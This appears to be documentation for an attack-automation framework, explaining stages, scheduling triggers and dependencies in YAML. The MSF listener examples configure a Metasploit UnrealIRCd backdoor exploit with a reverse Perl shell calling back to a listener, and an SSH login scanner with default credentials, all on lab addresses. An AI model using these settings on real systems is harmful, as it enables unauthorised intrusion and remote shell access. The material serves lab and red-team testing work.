Stage
A stage is a unit defined by a target and its trigger (for example time of start). It contains a list of attack Steps that are related to each other.
Example of defining Stage using YAML:
name: my-stage
meta:
description: This is an example description
...
trigger_type: delta
trigger_args:
minutes: 5
steps:
...
depends_on:
- previous-stage
To better understand what each argument means and defines, here is a short description:
- name - Sets the name of the Stage, which is mainly used to define its purpose (must be unique across the Plan).
- meta - An undefined dictionary containing metadata. The
description
parameter is just an example, you can define your own. - trigger_type - Type of the trigger to be used. For more details see triggers.
- trigger_args - Dictionary arguments, that are specific for each type of trigger. For more details see triggers.
- steps - List of related Steps that will be executed during the Stage's execution.
- depends_on - If the Stage depends on other Stages' actions, we can tell the Stage to wait until the other Stages are finished. For more details see dependencies.
Triggers¶
Delta¶
Schedule execution for a specific time after the plan start, e.g. minutes: 30
.
Examples¶
trigger_type: delta
trigger_args:
hours: 0 # Wait for x hours.
minutes: 0 # Wait for x minutes.
seconds: 0 # Wait for x seconds.
DateTime¶
Schedule execution for a specific date and time after the plan started.
Trigger arguments:
Notice: One argument from the Date and Time part of arguments (every argument except timezone
) is required. Besides that, arguments are optional and their default values are used in their absence.
Argument | Description | Default |
---|---|---|
timezone | Timezone for DateTime trigger. List of available timezones here. | UTC |
year | Year in which stage should be executed. | The year of the plan execution in the specified timezone |
month | Month in which stage should be executed. | The month of the plan execution in the specified timezone |
day | Day in which stage should be executed. | The day of the plan execution in the specified timezone |
hour | Hour in which stage should be executed. | 00 |
minute | Minute in which stage should be executed. | 00 |
second | Second in which stage should be executed. | 00 |
Examples¶
# This stage would be executed on 2022-01-01 08:20:00 in Europe/Prague timezone
trigger_type: datetime
trigger_args:
timezone: Europe/Prague
year: 2022
month: 1
day: 1
hour: 8
minute: 20
second: 00
# This stage would be executed at 16:00 UTC on the day of the plan execution
trigger_type: datetime
trigger_args:
hour: 16
HTTP listener¶
The stage will be executed on specific data received in the HTTP request (GET/POST) on the listener. An example can be found here.
trigger_type: HTTPListener
trigger_args:
host: localhost # Address of the listener from the Worker's perspective.
port: 8082 # Port of the listener from the Worker's perspective.
routes: # List of routes the listener will check for requests.
- path: /index # Request's path.
method: GET # Request's allowed method.
parameters: # Request's required parameters.
- name: parameter # Parameter's name.
value: value # Parameter's value.
MSF listener¶
The stage will be executed when a session with the user-defined arguments is returned from Worker. Once the session is saved,
it can be used in a Step with use_named_session: my-stage-name_session
, where my-stage-name
is the Stage's name.
An example can be found here.
The only downside is that it doesn't support the output sharing feature.
Identifiers are arguments that can be used to identify an MSF session that we are waiting for to trigger the Stage.
By default, the MSFTrigger will try to find a match using the via_exploit
and via_payload
parameters based on the used MSF module and payload. You can override this behavior using the indentifiers
parameter.
Since the values in identifiers can be substrings. You can use handler
to match exploit/multi/handler
.
trigger_type: MSFListener
trigger_args:
identifiers: # Optional
type: shell
tunnel_local: 192.168.56.50:4444
tunnel_peer: 192.168.56.51:35380
via_exploit: exploit/unix/irc/unreal_ircd_3281_backdoor
via_payload: payload/cmd/unix/reverse_perl
desc: Command shell
info: ''
workspace: 'false'
session_host: 192.168.56.50
session_port: '4444'
target_host: ''
username: vagrant
uuid: o3mnfksh
exploit_uuid: vkzl8sib
routes: ''
arch: python
exploit: unix/irc/unreal_ircd_3281_backdoor # Exploit to use.
exploit_arguments: # Arguments that will be passed to the exploit.
RHOST: 192.168.56.51
RPORT: 6697
payload: cmd/unix/reverse_perl # Payload to use.
payload_arguments: # Arguments that will be passed to the payload.
LHOST: 192.168.56.50
LPORT: 4444
trigger_type: MSFListener
trigger_args:
identifiers:
via_exploit: auxiliary/scanner/ssh/ssh_login
username: vagrant
auxiliary: scanner/ssh/ssh_login # Auxiliary module to use.
auxiliary_arguments: # Arguments that will be passed to the auxiliary module.
RHOSTS: 192.168.56.51
USERNAME: vagrant
PASSWORD: vagrant
Dependencies¶
Creating time-based triggers can be limiting, since the Stage itself can take more time than expected. To ensure that
the Stages will execute in the correct order, you can choose to check if some other Stage has already
finished, before its execution. All you have to do is define the depends_on
argument.
This way you can ensure that the sessions and gathered output from other Stages are available.
name: stage-name
depends_on:
- other-stage